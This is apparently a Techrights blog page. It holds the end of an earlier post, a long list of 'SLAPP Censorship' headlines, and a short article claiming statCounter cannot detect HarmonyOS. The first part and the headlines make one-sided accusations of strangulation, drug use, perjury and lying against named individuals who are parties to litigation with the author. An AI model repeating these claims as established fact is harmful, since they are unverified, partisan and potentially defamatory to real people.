fit into a textual document like this):    1. Matthew Garrett lives in the US   2. Alex Graveley lives in the US   3. Both Garrett and Graveley have instructed BW solicitors (same lawyer's initials in the ID of both cases, and the same barrister, Mr H.   4. Matthew Garrett is affiliated with GNOME   5. Alex Graveley is affiliated with GNOME   6. Matthew Garrett worked for Microsoft, said Alex Graveley in his Web site   7. Alex Graveley worked for Microsoft   8. Matthew Garrett spoke about Alex Graveley prior to his (Matthew Garrett's) lawsuit   9. Alex Graveley spoke about Matthew Garrett after Matthew Garrett's lawsuit   10. Matthew Garrett and Alex Graveley have many mutual friends (even housemates) 11. Matthew Garrett and Alex Graveley are both proponents of narcotics; Graveley has a history of addiction problems   12. On 11/02/2025 Mr Graveley made an offer to settle his claim or he would sue me, noting that his alleged damages for a quarter million pounds are effectively rendered moot and he would settle for no money at all, he just wanted pages about him and his friends removed etc. =============================================================================== The above has aged well. A lot of what I said a year ago not only turned out to be correct; it was moreover affirmed by Garrett after he had sworn on the Bible and put himself at risk to his liberty (in case he lies to a judge yet again). █ Previously: 2026- Microsofters'_SLAPP_Censorship_-_Part_1_Out_of_200:_Claim_No._KB-2024-001270_in 03-03 a_Nutshell 2026- Microsofters'_SLAPP_Censorship_-_Part_2_Out_of_200:_Detailed_Timeline_From_2012_ 03-04 (Attack_on_Reporters_That_Question_Restricted_Boot)_to_2024_(Lawsuit_Against Reporter_and_His_Wife_in_Another_Continent) 2026- Microsofters'_SLAPP_Censorship_-_Part_3_Out_of_200:_A_More_In-Depth_Breakdown 03-05 2026- Microsofters'_SLAPP_Censorship_-_Part_4_Out_of_200:_Rianne’s_Version_of_Events 03-06 and_Narrative 2026- Microsofters'_SLAPP_Censorship_-_Part_5_Out_of_200:_Clearly_Not_a_Security 03-07 Professional/Expert,_Only_Ever_Pretending_to_be_One 2026- Microsofters'_SLAPP_Censorship_-_Part_6_Out_of_200:_Intentionally_Misnaming 03-08 Women,_People_Who_Offered_to_Testify_That_They_Too_Had_Been_Subjected_to_Similar Abuse 2026- Microsofters'_SLAPP_Censorship_-_Part_7_Out_of_200:_Like_With_the_Serial 03-09 Strangler_From_Microsoft,_Misuse_of_UK-GDPR_to_Try_to_Hide_Embarrassing_Facts 2026- Microsofters'_SLAPP_Censorship_-_Part_8_Out_of_200:_Gross_Misuse_of_UKGDPR_to 03-10 Protect_the_Agenda_of_American_Back_Doors_(Mass_Surveillance) 2026- Microsofters'_SLAPP_Censorship_-_Part_9_Out_of_200:_5RB_Barrister_Does_Not_Even 03-11 Know_the_Name_of_His_Own_Client_(That_He_Was_Paid_Well_Over_$200,000_to_'Speak' or_'Cover'_for) 2026- Microsofters'_SLAPP_Censorship_-_Part_10_Out_of_200:_Showing_Public_Tweets_is 03-12 Not_a_Privacy_Violation,_But_This_Isn't_About_Justice,_It's_About_Censorship 2026- Microsofters'_SLAPP_Censorship_-_Part_11_Out_of_200:_Cannot_Censor_His_Spouse, 03-13 Accusations_Are_Repeated_Today 2026- Microsofters'_SLAPP_Censorship_-_Part_12_Out_of_200:_Months_Ahead_of_Serial 03-14 Strangler_From_Microsoft_Who_Helped_Double_the_Lawsuits_(Funded_by_Third Parties)_as_'Revenge'_for_Exposing_Crimes 2026- Microsofters'_SLAPP_Censorship_-_Part_13_Out_of_200:_Abuse_of_Process_to_Make 03-15 False_Accusations_of_UKGDPR_Violations 2026- Microsofters'_SLAPP_Censorship_-_Part_14_Out_of_200:_The_Abusive_Cases_of_the 03-16 Serial_Strangler_From_Microsoft_and_His_Litigation_Buddy_Garrett_Did_Cause "Serious_Harm" 2026- Microsofters'_SLAPP_Censorship_-_Part_14_Out_of_200:_Men_Who_Strangle_Women_(and 03-17 Worse)_Trying_to_Force_Us_to_Write_Public_Apologies_to_These_Men 2026- SLAPP_Censorship_-_Part_15_Out_of_200:_Background_and_Particulars_of_Truth 03-18 Regarding_Techrights_and_Tux_Machines 2026- SLAPP_Censorship_-_Part_16_Out_of_200:_Detailing_the_Actors_and_Explaining 03-19 Techrights'_Own_Internet_Relay_Chat_(IRC)_Network 2026- SLAPP_Censorship_-_Part_17_Out_of_200:_A_Long_Track_Record_of_Online_Abuse,_Then 03-20 Choosing_a_Low-Cost_Law_Firm_to_Muzzle_People_Who_Have_Illuminated_This_Abuse for_Over_a_Decade 2026- SLAPP_Censorship_-_Part_18_Out_of_200:_Third_Parties_Funding_Attacks_on_the 03-21 Messengers,_Lawsuits_Against_GAFAM-Critical_Voices_That_Uphold_Real_National Security 2026- SLAPP_Censorship_-_Part_19_Out_of_200:_They_Were_Ill-prepared_for_Tough 03-22 Questions_in_Cross-Examination 2026- SLAPP_Censorship_-_Part_20_Out_of_200:_All_Roads_Lead_to_Rome_and_to_GAFAM 03-23 Funding 2026- SLAPP_Censorship_-_Part_21_Out_of_200:_It's_About_Behaviour_Online,_Not_How_Much 03-24 Money_From_Shadowy_Third_Parties_Gets_Spent_on_Lawyers_and_Two_Barristers 2026- SLAPP_Censorship_-_Part_22_Out_of_200:_When_You_Complain_People_Impersonate_You 03-24 in_IRC_(But_You_Yourself_Impersonate_People_in_IRC_and_Lock_Them_Out_of_Their IRC_Handles) 2026- SLAPP_Censorship_-_Part_23_Out_of_200:_We_Were_Right_All_Along_(for_2_Years) 03-25 About_Third_Party_Funding_and_Willingness_to_'Break_the_Bank'_in_Pursuit_of "Revenge" 2026- SLAPP_Censorship_-_Part_24_Out_of_200:_The_Failed_Effort_by_Brett_Wilson_LLP_to 03-26 Strike_Out_My_Lawsuit_and_My_Wife's_Lawsuit_Against_Garrett_(the_Master_Allowed Our_Lawsuits_to_Proceed) 2026- SLAPP_Censorship_-_Part_25_Out_of_200:_That_Time_Matthew_J._Garrett_Got 03-27 Temporarily_Banned/Suspended_From_Twitter 2026- SLAPP_Censorship_-_Part_26_Out_of_200:_Asking_for_Documents_and_Information_You 03-28 Already_Have,_Even_Letters_and_E-mails_That_You_Yourself_Sent! 2026- SLAPP_Censorship_-_Part_27_Out_of_200:_Using_the_Tor_Network_to_Hide_From 03-29 Consequences 2026- SLAPP_Censorship_-_Part_28_Out_of_200:_Facing_Consequences_for_Impersonation_and 03-30 Worse 2026- SLAPP_Censorship_-_Part_29_Out_of_200:_Violent_Language_Won't_Go_Away_When_You 03-31 Use_It_in_Your_Site,_Blog,_and_Social_Control_Media 2026- SLAPP_Censorship_-_Part_30_Out_of_200:_The_Time_We_Reported_Abuse_to_Greater 04-01 Manchester_Police_(GMP)_and_It_Was_Escalated_to_Its_Cybercrime_Unit 2026- SLAPP_Censorship_-_Part_31_Out_of_200:_Speaking_About_20+_Years_of_Alleged 04-02 Harassment/Defamation_and_High-Profile_'Targets'_of_Garrett 2026- SLAPP_Censorship_-_Part_32_Out_of_200:_Garrett_Made_Spurious_Requests_(Later 04-03 Withdrawn)_the_Same_Week_Someone_He_Later_Spoke_to_by_E-mail_Sent_Threats_to_Our Webhost 2026- SLAPP_Censorship_-_Part_33_Out_of_200:_Garrett_Sued_by_My_Wife_and_I,_Then_His 04-03 Microsoft_Acquaintance_Files_Another_Lawsuit_and_Our_Webhost_Receives_Legal Threats_Too 2026- SLAPP_Censorship_-_Part_34_Out_of_200:_The_Necessity_of_Transparency, 04-04 Illuminating_Garrett's_and_Graveley's_'Tag-Team'_Act,_Misusing_the_British Docket_(From_Far_Away_in_America)_in_Efforts_to_Hide_Bad_Behaviour 2026- SLAPP_Censorship_-_Part_35_Out_of_200:_How_to_Make_~10,000_Pound_Sterling_ 04-05 (13,220.50_United_States_Dollars)_by_Copy-Pasting_and_Editing_10_Pages 2026- SLAPP_Censorship_-_Part_36_Out_of_200:_Claim_KB-2024-003529_in_a_Nutshell_ 04-06 (Microsoft_Employee_Does_Terrible_Things,_Then_Sues_the_Reporter_in_Another Continent) 2026- SLAPP_Censorship_-_Part_37_Out_of_200:_The_Correct_Suspicion_Garrett_and 04-07 Graveley_Were_Collaborating_in_Overseas_Litigation_Against_Critics 2026- SLAPP_Censorship_-_Part_38_Out_of_200:_Advertisement_or_£10,000+_Classified_Ad 04-08 in_the_Form_of_Court_Filing_in_Another_Continent 2026- SLAPP_Censorship_-_Part_39_Out_of_200:_Recycled_Text_for_Garrett_and_Graveley_ 04-08 (Buy_One,_Get_One_Free?) 2026- SLAPP_Censorship_-_Part_40_Out_of_200:_Putting_Forth_Frivolous_Claim_Only_a_Few 04-09 Days_Before_Running_Out_of_Time_(12_Months) 2026- SLAPP_Censorship_-_Part_41_Out_of_200:_More_Misuse_of_UK-GDPR_(for_US_Citizens), 04-10 More_Copy-Pasting_for_Garrett_and_Graveley,_Alleging_That_Publishing Unflattering_Information_is_a_'Privacy'_Issue 2026- SLAPP_Censorship_-_Part_42_Out_of_200:_Getting_the_Very_Basic_Technical_Concepts 04-10 Very_Wrong,_or_Where_Miscomprehension_Begets_"Plausible_Deniability" 2026- SLAPP_Censorship_-_Part_43_Out_of_200:_Garrett_and_Graveley_Particulars_of 04-11 Claims_Almost_Identical_and_5RB_Needs_to_Investigate_Its_Barristers_(Its Reputation_is_at_Stake) 2026- SLAPP_Censorship_-_Part_44_Out_of_200:_Garrett_and_Graveley_'Copypasta'_Sunday_ 04-12 (Copy-Paste,_Add_One_Word,_Change_'T'_to_'t') 2026- SLAPP_Censorship_-_Part_45_Out_of_200:_Garrett_and_Graveley_Cases_Inherently_the 04-13 Same,_Their_Legal_Team_Can_Barely_Even_Distinguish_(Full_Timeline) 2026- SLAPP_Censorship_-_Part_46_Out_of_200:_Alex_Graveley's_Attorney_Rick_Cofer_Did 04-14 Not_Deny_That_Graveley_Had_Strangled_Women;_He_Did,_However,_Pay_Local_Officials 2026- SLAPP_Censorship_-_Part_47_Out_of_200:_British_Courts_Are_Not_Censorship_Offices 04-14 for_Americans_Funded_by_Affluent_Third_Parties 2026- SLAPP_Censorship_-_Part_48_Out_of_200:_Brett_Wilson_LLP_and_5RB_Copy-Pasting 04-16 Bogus_Claims_for_Violent_Americans_(Microsoft)_Who_Tell_Women_to_Kill_Themselves 2026- SLAPP_Censorship_-_Part_49_Out_of_200:_Two_Americans,_One_Case,_Recycled_for_Low 04-17 Budget_at_Brett_Wilson_LLP_and_5RB_Barristers 2026- SLAPP_Censorship_-_Part_50_Out_of_200:_The_Time_Staff_of_Law_Firm_Burgess_Mee 04-18 Was_Showing_Up_in_Letters_Sent_for_a_Serial_Strangler_From_Microsoft 2026- SLAPP_Censorship_-_Part_51_Out_of_200:_On_Perjury_and_What_It_Means_to_Take 04-19 Third-Party_Funding_to_Attack_Reporter_and_His_Family_(in_Another_Continent) 2026- SLAPP_Censorship_-_Part_52_Out_of_200:_Phil_Golding_Appointed_Bar_Standards 04-20 Board_(BSB)_Chief,_Misogyny_Must_End 2026- SLAPP_Censorship_-_Part_53_Out_of_200:_The_Lying_Solicitor_of_Alex_Graveley_Left 04-21 Brett_Wilson_LLP_Only_Days_or_Few_Weeks_After_the_Garrett_Trial_(Attended_by Almost_Their_Entire_Office/Team) 2026- SLAPP_Censorship_-_Part_54_Out_of_200:_Alex-Matt/Automate_Twin_Cases,_Separated 04-22 at_Birth,_Drafted_by_Brett_Wilson_LLP_and_5RB 2026- SLAPP_Censorship_-_Part_55_Out_of_200:_Strangled_Women,_Charged_for 04-23 Strangulation,_Cannot_Find_a_Job_Now_(After_Microsoft) 2026- SLAPP_Censorship_-_Part_56_Out_of_200:_5RB_and_Brett_Wilson_LLP's_Copy-Paste 04-24 Machination_for_Garrett_and_Graveley 2026- SLAPP_Censorship_-_Part_57_Out_of_200:_5RB_and_Brett_Wilson_LLP_Made_the_Garrett 04-25 and_Graveley_Particulars_of_Claims_a_Lot_Like_Photocopies! 2026- SLAPP_Censorship_-_Part_58_Out_of_200:_5RB_and_Brett_Wilson_LLP_Helped_Garrett 04-26 and_Graveley_Make_Equivalent_of_GAFAM_NDAs_Superficially_'Enforceable'_in_the UK,_Using_Threats 2026- SLAPP_Censorship_-_Part_59_Out_of_200:_Mentioning_the_Fact_Alex_Graveley 04-27 Arrested_and_Charged_for_Strangulation_in_Texas_is_"Reckless"_and_"Malicious", According_to_His_'Hired_Guns'_in_London 2026- SLAPP_Censorship_-_Part_60_Out_of_200:_Talking_About_Corruption_at_Microsoft_and 04-28 Arrest_for_Strangulation_is_"Malice" 2026- SLAPP_Censorship_-_Part_61_Out_of_200:_Garrett_and_Graveley_Must_Understand_That 04-29 Reporting_Women's_Issues_in_the_United_States_of_America_(“the_US”)_is_Not Impermissible 2026- SLAPP_Censorship_-_Part_62_Out_of_200:_Garrett_and_Graveley_Issue_Astounding 04-30 Copy-Paste_Masterpiece_Asserting_Publicly-Accessible_Embarrassing_Facts_Must Remain_Hidden 2026- SLAPP_Censorship_-_Part_63_Out_of_200:_Graveley_as_a_Stripped-Down_Version_of 05-01 Garrett_in_the_Particulars_of_Claim_(5RB_Barrister_Could_Do_This_in_One_Minute) 2026- SLAPP_Censorship_-_Part_64_Out_of_200:_Not_Amused_by_Repeated_Threats_(to_"Shut 05-02 Down"_My_"Existence"_While_Mentioning_My_Wife_Too) 2026- SLAPP_Censorship_-_Part_65_Out_of_200:_Graveley_and_Garrett_Claims_Are_Word-by- 05-03 Word_Similar_(They_Also_Collaborated_All_Along) 2026- SLAPP_Censorship_-_Part_66_Out_of_200:_Alex_Graveley_Did_Illegal_Things,_Then 05-04 Asserted_Mentioning_Those_Illegal_Things_is_Privacy_Violation 2026- SLAPP_Censorship_-_Part_67_Out_of_200:_Graveley_and_Garrett_Claims_Against_My 05-05 Wife_and_I_Assert_'Distress',_But_It_Was_Just_a_Copy-Pasted_Template_(Mechanical Crocodile_Tears) 2026- SLAPP_Censorship_-_Part_68_Out_of_200:_Based_on_Their_Particulars_of_Claims, 05-06 Microsoft's_Graveley_and_Garrett_Seem_Like_the_Same_Person_(Exactly_Same_Words Used,_Sloppily_Recycled) 2026- SLAPP_Censorship_-_Part_69_Out_of_200:_Microsoft's_Graveley_Strangles,_Gets 05-07 Arrested,_Charged,_Then_Asks_for_Apology_From_Those_Who_Reported_It_by_Recycling Garrett's_Plea_for_Apology 2026- SLAPP_Censorship_-_Part_70_Out_of_200:_Microsoft's_Graveley_Injunction_Request 05-08 100%_the_Same_as_Garrett's_(Pure_'Copy-paste',_Not_Even_a_Word_or_Single Character_Changed!) 2026- SLAPP_Censorship_-_Part_71_Out_of_200:_5RB_Barristers_Made_Tens_of_Thousands_of 05-09 Pounds_by_Changing_From_Plural_to_Singular_for_Microsoft's_Graveley_and_Garrett 2026- SLAPP_Censorship_-_Part_72_Out_of_200:_Microsoft's_Graveley_and_Garrett_Signed 05-10 Documents_That_Hold_Them_Accountable_to_Truth_and_Liable_for_Lies 2026- SLAPP_Censorship_-_Part_73_Out_of_200:_Microsoft's_Graveley_and_Garrett_Remain 05-11 Closely_Connected_in_May_2026_("Tag-Teaming"_Against_Bloggers_in_Another Continent) 2026- SLAPP_Censorship_-_Part_74_Out_of_200:_The_Basis_of_My_Lawsuit_Against_Alex 05-12 Graveley,_Who_Helps_Garrett_Stack_the_Docket_in_Another_Continent * The_Corrupt_Lecture_the_Non-Corrupt_-_Part_XXI_-_EPO_President_Campinos Bribing_to_Buy_His_Seat,_But_Cautions_Staff_Against_Bribery * In_Croatia,_Microsoft_Windows_Share_Sank_From_98%_to_All-Time_Low_of_67%_ (or_28%_If_One_Counts_Android) ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠳⠶⠶⢶⡶⣖⣮⡩⢝⡻⢛⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 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⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡏⣼⣷⢹⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⢿⠿⢷⣶⣄⡀⠀⠉⠈⠙⣿⣿⣿⣿⣿⠿⠃⠀⠀⣺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠁⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠰⣶⣶⣦⣍⠓⠀⠀⠀⠀⢸⣿⣿⣿⠻⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣶⣶⣶⣶⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣆⠀⠀⠀⢹⡿⡟⠁⠈⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⡿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡈⠀⢸⣿⡿⠇⠀⠀⠘⠁⠂⠀⠀⠀⢠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣮⣭⣽⣛⡳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠅⠀⢈⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⢠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡷⠶⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣆⡁⠀⠀⠀⠀⠀⠀⠄⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠁⠀⠀⠀⠀⠀⠀⢀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⢟⣛⡛⠯⠭⠭⠭⠭⠭⠽⠛⠛⣛⣛⡻⠿⢿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⡀⣐⣴⣿⣿⣿⣿⣿⣿⣭⣉⣉⣭⣉⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣽⣶⣤⣴ ⠀⠀⠀⠀⠘⣿⣿⡿⢟⡛⠭⠑⠂⠉⠁⠀⠀⠀⢀⣠⣶⣿⣇⠀⠀⢀⣤⣀⠀⠀⠈⠁⣒⢍⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⣫⢕⣨⠀⠀⠀⠀⠀⠀⠀⠀⣴⣾⣿⣿⣿⣿⣿⠀⣴⣿⣿⣿⣷⠀⠀⠀⠍⠊⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⢶⣦⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣻⣿⡿⠟⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠙⠒⠭⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⠋⠉⣿⡟⣸⡟⠻⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣄⠀⠀⠀⠉⠛⠻⢿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⢻⣿⣷⡀⣠⡿⠁⢿⠀⢠⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣄⣨⣯⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠘⣸⣄⠀⠀⠀⠀⠀⠀⠙⠻⠟⠋⠀⠀⠈⠻⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡀⠀⠀⠀⠀⠀⠀⠠⣱⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣄⢄⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣦⡀⠀⠀⠀⡔⣱⣿⣿⣿⠟⠋⠀⠀⠀⠀⠀⠠⣤⣤⣤⡴⠂⠘⢿⣿⣿⣦⠣⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣤⣄⠀⠀⠙⢿⠟⠁⠀⠀⢀⠀⠀⠀⢀⢀⢹⣿⣿⠁⠀⠀⠀⠙⢿⣿⣇⡈⠀⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⢺⢹⣾⡏⡇⣎⣷⣿⡁⢐⣿⢸⢸⢺⣿⢿⡟⡇⣎⡣⣯⡆⠁⡷⣟⣾⣻⢻⣿⣻⣿⣿⠒⡇⣿⣿⣿⢹⣿⡟⣿⣿⣟⣿⣿⣻⣿⣻⡟⣏⣿⢿⡿⣿⣿⣿⣿⣻⣿⣿⣿⢻⣿⢻⢻⡿⣿⢿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣮⣾⣾⣷⣷⣶⣤⣤⣀⣀⣀⣴⣾⣾⣶⣿⣾⣿⣷⡷⢠⣤⣴⣿⣷⣮⣤⣥⣶⣃⣨⣿⣿⣶⣥⣤⣤⣬⣶⣮⣴⣿⣿⣿⣥⣾⣿⣶⣷⣷⣾⣧⣾⣧⣿⠿⠿⠿⢾⣷⣾⣵⣾⣿⡾⠞⠶⠿⣼⣿⣿⣿⡿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⡿⣿⣿⠁⡤⡄⣴⠄⢰⡦⡍⡏⣤⣄⢤⠀⠀⠀⠉⠀⠀⠀ ⣿⣿⣿⣷⣋⣻⠛⣻⣸⣧⣿⣸⡟⣻⣞⣛⣃⡧⠿⠟⠚⠓⠋⢻⣿⣸⠘⢸⣃⣏⣓⡿⣹⣿⣛⣻⣸⣛⣞⣃⣷⣻⣸⣟⣿⣻⣿⣿⣿⣿⣿⣿⣿⣙⣟⣏⣤⡏⠁⠀⠛⠛⠛⠂⠘⠃⠃⠃⠃⠛⠘⠐⠀⠀⠀⠀⠀⠀ ䷩ 𝚕𝚒𝚗𝚎 4004 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/statCounter_Cannot_See_Chinese_Operating_Systems_That_Gain_Many.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/statCounter_Cannot_See_Chinese_Operating_Systems_That_Gain_Many.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ statCounter Cannot 'See' Chinese Operating Systems That Gain Many Millions of Users Per Month⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇HarmonyOS⦈_ Earlier this month we published a number of detailed articles about an Achilles heel of statCounter; it does not recognise quite a lot of operating systems at all. It just tosses them under "Unknown". Yesterday there was an an_article about_HarmonyOS at It's FOSS (spotted by the sister_site) and it said, citing an official with access to telemetry, that "HarmonyOS has been on more than 55 million devices, adding 23 million in just under six months, which is a massive number for sure. Market giants who wish to maintain their monopoly have every reason to be worried about the competition." There is no way for statCounter to recognise or show the market share of HarmonyOS, so let's assume "Unknown" is definitely not Windows. There are many nations, e.g. Colombia and Ethiopia this month, where statCounter observes a Windows all-time low. Might we assume that it is replaced not only by Android and GNU/Linux but also all those "niche" operating systems that aren't so niche anymore? █ * SLAPP_Censorship_-_Part_74_Out_of_200:_The_Basis_of_My_Lawsuit_Against Alex_Graveley,_Who_Helps_Garrett_Stack_the_Docket_in_Another_Continent * Technology_Not_Meant_to_Last 